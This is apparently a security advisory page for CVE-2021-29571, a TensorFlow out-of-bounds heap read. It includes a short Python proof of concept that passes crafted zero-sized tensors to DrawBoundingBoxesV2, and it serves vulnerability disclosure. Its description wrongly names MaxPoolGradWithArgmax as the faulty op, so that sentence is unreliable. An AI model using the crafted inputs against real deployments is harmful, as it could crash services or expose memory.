CVE-2021-29571: Memory corruption in `DrawBoundingBoxesV2`
(updated )
The implementation of tf.raw_ops.MaxPoolGradWithArgmax
can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:
import tensorflow as tf
images = tf.fill([10, 96, 0, 1], 0.)
boxes = tf.fill([10, 53, 0], 0.)
colors = tf.fill([0, 1], 0.)
tf.raw_ops.DrawBoundingBoxesV2(images=images, boxes=boxes, colors=colors)
References
- github.com/advisories/GHSA-whr9-vfh2-7hm6
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-499.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-697.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-208.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/79865b542f9ffdc9caeb255631f7c56f1d4b6517
- github.com/tensorflow/tensorflow/security/advisories/GHSA-whr9-vfh2-7hm6
- nvd.nist.gov/vuln/detail/CVE-2021-29571
Detect and mitigate CVE-2021-29571 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →